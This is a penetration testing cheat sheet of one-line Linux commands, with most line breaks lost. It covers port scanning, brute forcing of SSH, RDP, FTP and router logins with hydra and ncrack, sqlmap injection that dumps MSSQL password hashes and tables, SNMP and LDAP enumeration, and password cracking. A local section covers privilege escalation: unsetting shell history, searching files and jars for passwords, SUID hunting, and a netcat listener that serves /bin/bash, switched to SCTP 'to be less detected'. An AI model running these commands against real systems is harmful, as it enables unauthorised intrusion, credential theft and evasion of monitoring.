Penetration Testing Cheat Sheet

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Linux Security Audit Commands



Linux Security Audit Commands:
------------------------------------------------------------Useful commands to be used over network for Linux system
# traceroutetraceroute 8.8.8.8# traceroute using ICMPtraceroute -I 8.8.8.8
# nmap TCP syn scan, all TCP ports with scripts to all nmap output formatsnmap -sS -sV -sC -v -p- -oA all-tcp-127.0.0.1 127.0.0.1nmap -sS -sV -A -v -p- -oA all-tcp-127.0.0.1 127.0.0.1# nmap reverse DNS resolutionnmap -Pn -sn -R -oA dns-10.1.0.0_16 10.1.0.0/16# update the nmap scriptsnmap --script-updatedb# list nmap scriptsls -la /usr/share/nmap/scripts/# namp brute force scriptsnmap -vvv --script http-brute --script-args userdb=users.txt,passdb=pass.txt -p <port> <host>nmap --script vmauthd-brute -p <port> <host>nmap --script ftp-brute -p <port> <host># help for scriptnmap --script-help=ssl-heartbleed# scan using scriptnmap -sV –script=ssl-heartbleed.nse -p <port> <host># scan using set of scriptsnmap -sV --script=smb* -p <port> <host># nmap used as vulnerability scannermkdir /usr/share/nmap/scripts/vulscancd /usr/share/nmap/scripts/vulscangit clone https://github.com/scipag/vulscan.gitnmap -sV --script=vulscan/vulscan.nse 127.0.0.1
# ncrackncrack -vv --user root <host>:<port># ncrack RDPncrack -vv -U username.txt -P password.txt <host>:3389# ncrack SSHncrack -vv --user root <host>:22
# hydra# Bruteforce SSHhydra -L <user-list.txt> -P <password-list.txt> ssh://<host># Bruteforce IP router over HTTPhydra -V -l admin -P passwords.txt -t 36 -f -s 80 192.168.1.1 http-get /hydra -V -l admin -P passwords.txt -t 36 -f -s 80 http-get://192.168.1.1:8080# Bruteforce FTPhydra -V -l admin -P passwords.txt -e ns -f -s 21 192.168.1.1 ftp# Bruteforce RDPhydra -t 1 -V -f -l username -P password.lst rdp://192.168.1.1

# skipfish# basic scanskipfish -o out_dir https://www.host.com# using cookies to access authenticated pagesskipfish -o out_dir -I urls_to_scan -X urls_not_to_scan -C cookie1=XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX -C cookie2=XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX https://www.host.com
# wfuzz# URL brute forcingwfuzz -c -z file,Directories_Common.wordlist --hc 404 http://<host>/FUZZ.php# GET params brute forcingwfuzz -c -z file,users.txt -z file,pass.txt --hc 404 http://<host>/index.php?user=FUZZ&pass=FUZ2Z

# sqlmapsqlmap -u "http://host.com/vulnerable.php?param=12345"sqlmap -u "http://host.com/vulnerable.php?param=12345" --dbms "Microsoft SQL Server" --sql-query="select name,master.sys.fn_sqlvarbasetostr(password_hash) from master.sys.sql_loginssqlmap -u "http://host.com/vulnerable.php?param=12345" --dbms "Microsoft SQL Server" --dbssqlmap -u "http://host.com/vulnerable.php?param=12345" --dbms "Microsoft SQL Server" --dump -D database -T tablesqlmap -u "http://host.com/vulnerable.php?param=12345" --cookie "cookie1=XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"sqlmap -r POST.txt -p field
# My SQLmysql -u <username> -p --port <port> -h <host>mysqldump -h <host> -u <username> -p -f --port <port> --events --routines --triggers --all-databases > MySQLData.sql#
# Oraclesqlplus "username/password@(DESCRIPTION=(ADDRESS=(PROTOCOL=TCP)(HOST=hostname)(PORT=port))(CONNECT_DATA=(SERVER=dedicated)(SERVICE_NAME=servicename)))"
# Postgrespsql -h 127.0.0.1 db_name username
# SNMP# SNMPv1snmpwalk -mALL -v1 -cpublic <host>snmpwalk -mALL -v1 -cprivate <host>snmpget -mALL -v1 -cpublic <host> sysName.0# SNMPv2snmpwalk -v2c -cprivate <host>:<port>snmpget -v2c -cprivate -mALL <host> sysName.0 sysObjectID.0 ilomCtrlDateAndTime.0snmpset -mALL -v2c -cprivate <host> ilomCtrlHttpEnabled.0 i 1SUN-ILOM-CONTROL-MIB::ilomCtrlHttpEnabled.0 = INTEGER: true(1)# SNMPv3snmpwalk -v3 -l authPriv -u snmpadmin -a MD5 -A PaSSword -x DES -X PRIvPassWord <host>:<port> system
# LDAPldapsearch -x -b "dc=company,dc=com" -s base -h <host>LDAPTLS_REQCERT=never ldapsearch -x -D "uid=Name.Surname,OU=People,DC=Company,DC=com" -W -H ldaps://<host> -b "uid=Name.Surname,OU=People,DC=Company,DC=com" -s subldapsearch -x -p 389 -h "127.0.0.1" -b "ou=people,dc=company,dc=com" -s sub "objectClass=*"ldapsearch -x -p 1389 -h "127.0.0.1" -b "dc=company,dc=com" -s one "objectClass=*"
ldapmodify -a -h "127.0.0.1" -p 389 -D "cn=Directory Manager" -w 'password' -f modify.ldifdn: ou=people,dc=company,dc=comobjectClass: topobjectClass: organizationalunitou: people...
ldap delete -x -D "cn=Directory Manager" -w 'password' -p 1389 -h "127.0.0.1" "uid=identifier,ou=people,dc=company,dc=com"
# NFSshowmount -e 127.0.0.1mount -o ro 127.0.0.1:/ /mnt/nfs
# SSHFS# mountsshfs user@<host>:/remote/path /mnt/tmp -C -p 22# unmountfusermount -u /mnt/tmp
# redirredir --laddr=<listen_address> --lport=<listen_port> --caddr=<connect_address> --cport=<connect_port>
# sending HTTP post requestcurl --data "param1=value1&param2=value2" https://host.com/index.php
# sending SOAP request#!/bin/sh
HOST=host.comPORT=8888
nc $HOST $PORT << __EOF__POST /services/ HTTP/1.1Host: host.com:8888Content-Type: text/xml;charset=UTF-8SOAPAction: ""
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:web="http://host.com/"> <soapenv:Header/> <soapenv:Body> <web:soapRequest> </web:soapRequest> </soapenv:Body></soapenv:Envelope>
# Bash like SQL group bycat test.txt | sort | uniq -c | sort -n
# Wireshark over SSHssh root@192.168.56.101 "sudo tcpdump -U -s0 -i lo -w - 'not port 22'" | wireshark -k -i -
# HEX to PCAPxxd -r -p test.hex | od -Ax -tx1 | text2pcap - test.pcap
# Parse JSONgrep -Po '"field" : .*?[^\\]",' test.json
# tshark to Elasticsearch output./tshark -i any -f tcp -T ek -e "ip.addr" -e "tcp.port"
# tshark display filter to filestshark -r input.pcap -Y "ip.src == 10.1.1.1" -w output.pcap -F pcap
# john the ripper over GPU, start sessionjohn --session=session_name --format=opencl ~/hash.txt
# john the ripper, continue sessionjohn --restore=session_name
# john the ripper, show the cracked passwordsjohn ~/hash.txt --show
------------------------------------------------------------Useful commands running locally on the Linux system.To quickly analyze the system and possibly help to escalate privileges.
# Before connecting to remote system, enable logging record the interactive session. Only after perform e.g. ssh connect.script <filename>
# loginssh username@hostname
# check current shellecho $0
# unset history fileunset HISTFILE
# check current userwhoami
# current folderpwd
# list history of the userhistory
# check systemuname -a
# check uptimeuptime
# check system variablesexport
# processesps -efps -auxfPs -auxfwww
# partitionsdf
# find in filesfind . -name "*.java" -type f -exec fgrep -iHn "textToFind" {} \;find . -regex ".*\.\(c\|java\)" -type f -exec fgrep -iHn "textToFind" {} \;find / -maxdepth 4 -name *.conf -type f -exec grep -Hn "textToFind" {} \; 2>/dev/null# SUID files owned by rootfind / -uid 0 -perm -4000 -type f 2>/dev/null# SUID filesfind / -perm -4000 -type f 2>/dev/null# world writable directoriesfind / -perm -2 -type d 2>/dev/null
# find passwords in files and ignore errors and filter out the proc and other foldersfind . ! -path "*/proc/*" -type f -name "*" -exec fgrep -iHn password {} \;find . -type f \( -iname \*.conf -o -iname \*.cfg -o -iname \*.xml -o -iname \*.ini -o -iname \*.json -o -iname \*.sh -o -iname \*.pl -o -iname \*.py \) -exec fgrep -iHn password {} \; 2> /dev/null
# reverse java jar files and find passwords therefind . -name "*.jar" -type f -exec ~/jd-cli/jd-cli -oc -l -n -st {} \; | egrep -i -e "Location:" -e "password" | uniq
# check open ports and services listeningnetstat -anp
# check defined hostscat /etc/hosts
# check local IP addresses and interfacesifconfig -a
# check sudo privilegessudo -l
# check crontabcrontab -l
# check inittabcat /etc/inittab
# try to sniff traffictcpdumptcpdump not port 22 -w trace.pcap
# check known hostscat ~/.ssh/known_hosts
# try access mailshead /var/mail/root
# list groups, userscat /etc/groupcat /etc/passwd
# open netcat listener# open tcp listener and execute bash after connectnc -l -p <port> -e /bin/bash# connect to ncnc <host> <port># uset sctp instead of tcp to be less detectedwithsctp nc -l -p <port> -e /bin/bashwithsctp nc <host> <port>
# logoutlogout
# close script sessionCtrl + D
----------------------------------------------------------------------- Custom or any network protocol --------------
# Copy hex payload from wireshark of the required message
# Send hex payload over networkecho "aabbccddeeff" | xxd -r -p | nc 127.0.0.1 8080
--------------------------------------------------------------------------------- Telco related -----------------------
# svmap, send SIP OPTIONSsvmap -p5060,5061,5080-5090 10.0.0.1
# svcracksvcrack -u100 -d dictionary.txt 10.0.0.1
# SCTP proxy to send some message# SCTP payload protocol identifier will be default, not working with all serversmkfifo fifowith sctp nc -l -k -p port_local <fifo | withsctp nc 127.0.0.1 port >fifoecho "aabbccddeeff" | xxd -r -p | withsctp nc -q 1 127.0.0.1 port_local
# SSH tunnel and TCP to SCTP proxy# SCTP payload protocol identifier will be default, not working with all servers# Workstation --(SSH)--> sctp_client --(SCTP)--> sctp_server# on sctp_client executenc -l -k -p port <fifo | withsctp nc -p <source_port> <remote_sctp_server_ip> <remote_sctp_server_port> >fifossh -L port:localhost:port username@<remote_machine_running_nc># then on workstation TCP connect to localhost:port will be tunneled to remote machine over SSH and forwarded to remote_sctp_server over sctp